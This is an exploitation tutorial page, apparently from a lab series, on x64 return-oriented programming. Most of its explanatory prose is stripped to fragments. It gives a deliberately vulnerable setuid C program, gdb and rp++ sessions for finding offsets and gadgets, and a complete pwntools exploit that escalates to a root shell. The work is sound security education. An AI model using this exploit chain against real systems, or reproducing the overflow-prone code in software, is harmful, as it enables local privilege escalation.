

02.ROP(Return Oriented Programming)-x64

 Unknown macro: 'html'

Excuse the ads! We need some help to keep our site up.

 Unknown macro: 'html'

List

- [Return Oriented Programming\(ROP\) -x64](#)
- [Gadgets - POP; POP; POP; RET](#)
- [Proof of concept](#)
 - [Example code](#)
 - [Build & Permission](#)
 - [Overflow](#)
- [Exploit method](#)
 - [Find the Libc address of the "/bin/sh"](#)
 - [Get offset of printf, system, and setresuid functions](#)
 - [Find gadget](#)
 - [peda](#)
 - [rp++](#)
- [Exploit code](#)
- [Related site](#)
- [Comments](#)

Return Oriented Programming(ROP) -x64

- **ROP(Return-oriented programming) (NXbit) (Code signing)**
 - [RTL + Gadgets](#)
- **Stack Overflow , "(Gadgets)"**
 - [\(ret\)](#)
 - [.](#)

Gadgets - POP; POP; POP; RET

- **x86 pop , x64**
 - [x86 Cdecl\(C declaration\), x64 System V AMD64 ABI](#)
 - [: 01.The basics technic of Shellcode](#)
 - [x64 ROP POP](#)
 - [ESP](#)
 - - [Stack](#)
 - [Gadgets](#)
- **Gadgets**
 - [: "pop rdi; ret"](#)
 - [: "pop rsi; ret"](#)
 - [, : "pop rdi; pop rdx; ret"](#)
- [.](#)
 - [x64 Gadgets](#)
 - [read\(\) System\(\)](#)

ROP structure - x64

Stack Address	Value	Explanation
0x7fffffff498	Gadget(POP RDI, ret) Address	Return address area of function
0x7fffffff4a0	First argument value	
0x7fffffff4a8	Gadget(POP RSI, POP RDX, ret) Address	
0x7fffffff4b0	Second argument value	
0x7fffffff4b8	Third argument value	
0x7fffffff4c0	read function address of libc	
0x7fffffff4c8	Gadget(POP RDI, ret) Address	
0x7fffffff4d0	First argument value	
0x7fffffff4d8	System function address of libc	

Proof of concept

Example code

rop.c

```
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 256);
}

void main(){
    seteuid(getuid());
    write(1,"Hello ROP\n",10);
    vuln();
}
```

Build & Permission

Build

```
lazenca0x0@ubuntu:~/Exploit/ROP$ gcc -fno-stack-protector -o rop rop.c -ldl
lazenca0x0@ubuntu:~/Exploit/ROP$ sudo chown root:root ./rop
lazenca0x0@ubuntu:~/Exploit/ROP$ sudo chmod 4755 ./rop
```

Overflow

- **Breakpoints .**
 - 0x400756: vuln
 - 0x40079a: read()

Breakpoints

```
lazenca0x0@ubuntu:~/Exploit/ROP$ gdb -q ./rop
Reading symbols from ./rop...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
0x0000000000400756 <+0>:      push    rbp
0x0000000000400757 <+1>:      mov     rbp, rsp
0x000000000040075a <+4>:      sub     rsp, 0x40
0x000000000040075e <+8>:      mov     esi, 0x400864
0x0000000000400763 <+13>:     mov     rdi, 0xffffffffffffffff
0x000000000040076a <+20>:     call    0x400630 <dlsym@plt>
0x000000000040076f <+25>:     mov     QWORD PTR [rbp-0x8], rax
0x0000000000400773 <+29>:     mov     rax, QWORD PTR [rbp-0x8]
0x0000000000400777 <+33>:     mov     rsi, rax
0x000000000040077a <+36>:     mov     edi, 0x40086b
0x000000000040077f <+41>:     mov     eax, 0x0
0x0000000000400784 <+46>:     call    0x400600 <printf@plt>
0x0000000000400789 <+51>:     lea     rax, [rbp-0x40]
0x000000000040078d <+55>:     mov     edx, 0x100
0x0000000000400792 <+60>:     mov     rsi, rax
0x0000000000400795 <+63>:     mov     edi, 0x0
0x000000000040079a <+68>:     call    0x400610 <read@plt>
0x000000000040079f <+73>:     nop
0x00000000004007a0 <+74>:     leave
0x00000000004007a1 <+75>:     ret
End of assembler dump.
gdb-peda$ b *0x0000000000400756
Breakpoint 1 at 0x400756
gdb-peda$ b *0x000000000040079a
Breakpoint 2 at 0x40079a
gdb-peda$
```

- **Overflow** .
 - Return address(0x7ffffffe458) - buf (0x7ffffffe410) = 72
 - , 72 Return address .

Overflow

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/ROP/rop
Hello ROP
Breakpoint 1, 0x0000000000400756 in vuln ()
gdb-peda$ i r rsp
rsp          0x7fffffffe458          0x7fffffffe458
gdb-peda$ x/gx 0x7fffffffe458
0x7fffffffe458:      0x00000000004007d0
gdb-peda$ c
Continuing.
Printf() address : 0x7ffff785e800
Breakpoint 2, 0x000000000040079a in vuln ()
gdb-peda$ i r rsi
rsi          0x7fffffffe410          0x7fffffffe410
gdb-peda$ p/d 0x7fffffffe458 - 0x7fffffffe410
$1 = 72
gdb-peda$
```

Exploit method

- ROP Exploit .

Exploit

1. setresuid root(0)
2. system "/bin/sh"

- .

ROP code

```
setresuid(0,0,0)
system(binsh)
```

- payload .

- "/bin/sh"
- libc offset
 - printf
 - system
 - setresuid
- - pop rdi,ret
 - pop rsi,ret
 - pop rdx,ret

Find the Libc address of the "/bin/sh"

- libc "/bin/sh" .
 - "/bin/sh" offset : 0x18cd57

Find the address of the "/bin/sh"

```
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7995d57 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ info proc map
process 5555
Mapped address spaces:
```

Start Addr	End Addr	Size	Offset	objfile
0x400000	0x401000	0x1000	0x0	/home/lazenca0x0/Exploit/R0P/rop
0x600000	0x601000	0x1000	0x0	/home/lazenca0x0/Exploit/R0P/rop
0x601000	0x602000	0x1000	0x1000	/home/lazenca0x0/Exploit/R0P/rop
0x602000	0x623000	0x21000	0x0	[heap]
0x7ffff7809000	0x7ffff79c9000	0x1c0000	0x0	/lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff79c9000	0x7ffff7bc9000	0x200000	0x1c0000	/lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bc9000	0x7ffff7bcd000	0x4000	0x1c0000	/lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000	0x7ffff7bcf000	0x2000	0x1c4000	/lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcf000	0x7ffff7bd3000	0x4000	0x0	
0x7ffff7bd3000	0x7ffff7bd6000	0x3000	0x0	/lib/x86_64-linux-gnu/libdl-2.23.so
0x7ffff7bd6000	0x7ffff7dd5000	0x1ff000	0x3000	/lib/x86_64-linux-gnu/libdl-2.23.so
0x7ffff7dd5000	0x7ffff7dd6000	0x1000	0x2000	/lib/x86_64-linux-gnu/libdl-2.23.so
0x7ffff7dd6000	0x7ffff7dd7000	0x1000	0x3000	/lib/x86_64-linux-gnu/libdl-2.23.so
0x7ffff7dd7000	0x7ffff7dfd000	0x26000	0x0	/lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7dfd000	0x7ffff7fdc000	0x4000	0x0	
0x7ffff7ffd000	0x7ffff7ffa000	0x3000	0x0	[vvar]
0x7ffff7ffa000	0x7ffff7ffc000	0x2000	0x0	[vdso]
0x7ffff7ffc000	0x7ffff7ffd000	0x1000	0x25000	/lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000	0x7ffff7ffe000	0x1000	0x26000	/lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000	0x7ffff7fff000	0x1000	0x0	
0x7ffff7fff000	0x7ffff7fff000	0x21000	0x0	[stack]
0xffffffffff600000	0xffffffffff601000	0x1000	0x0	[vsyscall]

```
gdb-peda$ p/x 0x7ffff7995d57 - 0x7ffff7809000
$2 = 0x18cd57
gdb-peda$
```

Get offset of printf, system, and setresuid functions

- **Offset** .
 - printf(libcbase) : 0x55800
 - system : 0x45390
 - setresuid : 0xcd570

Get offset

```
gdb-peda$ p printf
$3 = {<text variable, no debug info>} 0x7ffff785e800 <__printf>
gdb-peda$ p system
$4 = {<text variable, no debug info>} 0x7ffff784e390 <__libc_system>
gdb-peda$ p setresuid
$5 = {<text variable, no debug info>} 0x7ffff78d6570 <__GI__setresuid>
gdb-peda$ p/x 0x7ffff785e800 - 0x7ffff7809000
$6 = 0x55800
gdb-peda$ p/x 0x7ffff784e390 - 0x7ffff7809000
$7 = 0x45390
gdb-peda$ p/x 0x7ffff78d6570 - 0x7ffff7809000
$8 = 0xcd570
gdb-peda$
```

Find gadget

peda

- **peda Gadgets** .

- RDI, RSI Gadgets , RDX .
 - 0x00400843: pop rdi; ret
 - 0x00400841: pop rsi; pop r15; ret
- libc Gadgets .

Find gadgets - peda

```
gdb-peda$ ropsearch "pop rdi"
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x00400843 : (b'5fc3')      pop rdi; ret
gdb-peda$ ropsearch "pop rsi"
Searching for ROP gadget: 'pop rsi' in: binary ranges
0x00400841 : (b'5e415fc3')  pop rsi; pop r15; ret
gdb-peda$ ropsearch "pop rdx"
Searching for ROP gadget: 'pop rdx' in: binary ranges
Not found
gdb-peda$
```

rp++

- **rp++ Gadgets .**
 - Exploit code 0x001150c9 "pop rdx ; pop rsi ; ret ;" .

find "pop rdx"

```
lazenca0x0@ubuntu:~/Exploit/ROP$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 2 | grep "pop rdx"
0x00137393: mov eax, dword [rbx+0x08] ; pop rdx ; call qword [rax+0x20] ; (1 found)
0x00137392: mov rax, qword [rbx+0x08] ; pop rdx ; call qword [rax+0x20] ; (1 found)
0x001464f6: pop rdx ; add eax, 0x83480000 ; ret 0x4910 ; (1 found)
0x00137396: pop rdx ; call qword [rax+0x20] ; (1 found)
0x00196111: pop rdx ; cld ; jmp qword [rax+0x5B] ; (1 found)
0x001960d5: pop rdx ; cld ; jmp qword [rax+0x5C] ; (1 found)
0x0019b399: pop rdx ; cli ; call qword [rsi+rax*2+0x02] ; (1 found)
0x0019b389: pop rdx ; cli ; jmp qword [rsi+rax*2] ; (1 found)
0x001b0549: pop rdx ; cmc ; jmp qword [rax+rax] ; (1 found)
0x001b0591: pop rdx ; cmc ; jmp qword [rax+rax] ; (1 found)
0x001b05a9: pop rdx ; cmc ; jmp qword [rax+rax] ; (1 found)
0x001b0561: pop rdx ; cmc ; jmp qword [rcx] ; (1 found)
0x001b0579: pop rdx ; cmc ; jmp qword [rcx] ; (1 found)
0x00197509: pop rdx ; in eax, dx ; jmp qword [rsp+rbp*4] ; (1 found)
0x00001b60: pop rdx ; int 0x4F ; jmp rdx ; (1 found)
0x00198538: pop rdx ; int1 ; jmp qword [rdx+rbx+0x01] ; (1 found)
0x00198539: pop rdx ; int1 ; jmp qword [rdx+rbx+0x01] ; (1 found)
0x000ac883: pop rdx ; or al, 0x00 ; ret ; (1 found)
0x001150a3: pop rdx ; pop r10 ; ret ; (1 found)
0x001150a4: pop rdx ; pop r10 ; ret ; (1 found)
0x00101ffc: pop rdx ; pop rbx ; ret ; (1 found)
0x001194ab: pop rdx ; pop rbx ; ret ; (1 found)
0x0011d174: pop rdx ; pop rbx ; ret ; (1 found)
0x001435b2: pop rdx ; pop rbx ; ret ; (1 found)
0x001435fa: pop rdx ; pop rbx ; ret ; (1 found)
0x00143824: pop rdx ; pop rbx ; ret ; (1 found)
0x001150c9: pop rdx ; pop rsi ; ret ; (1 found)
0x00001b92: pop rdx ; ret ; (1 found)
0x00001b96: pop rdx ; ret ; (1 found)
0x00001b9a: pop rdx ; ret ; (1 found)
0x00001b9e: pop rdx ; ret ; (1 found)
0x001150a6: pop rdx ; ret ; (1 found)
lazenca0x0@ubuntu:~/Exploit/ROP$
```

Exploit code

exploit.py

```
from pwn import *
from struct import *

#context.log_level = 'debug'

#64bit OS - /lib/x86_64-linux-gnu/libc-2.23.so
libcbase_printf_offset = 0x55800
libcbase_system_offset = 0x45390
libcbase_setresuid_offset = 0xcd570

binsh_offset = 0x18cd57

pop_rdi_ret = 0x400843
pop_rsi_ret = 0x400841
pop_rdx_ret_offset = 0x1150c9

r = process('./rop')

r.recv(10)
r.recvuntil('Printf() address : ')
libcbase = int(r.recvuntil('\n'),16)
libcbase -= libcbase_printf_offset

payload = "A"*72
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(libcbase + pop_rdx_ret_offset)
payload += p64(0)
payload += p64(0)
payload += p64(libcbase + libcbase_setresuid_offset)

payload += p64(pop_rdi_ret)
payload += p64(libcbase + binsh_offset)
payload += p64(libcbase + libcbase_system_offset)

r.send(payload)

r.interactive()
```

python rop.py

```
lazenca0x0@ubuntu:~/Exploit/ROP$ python exploit.py
[+] Starting local process './rop': pid 5698
[*] Switching to interactive mode
$ id
uid=0(root) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$
```

Related site

- N/a

Comments

 Unknown macro: 'html'

 Unknown macro: 'html'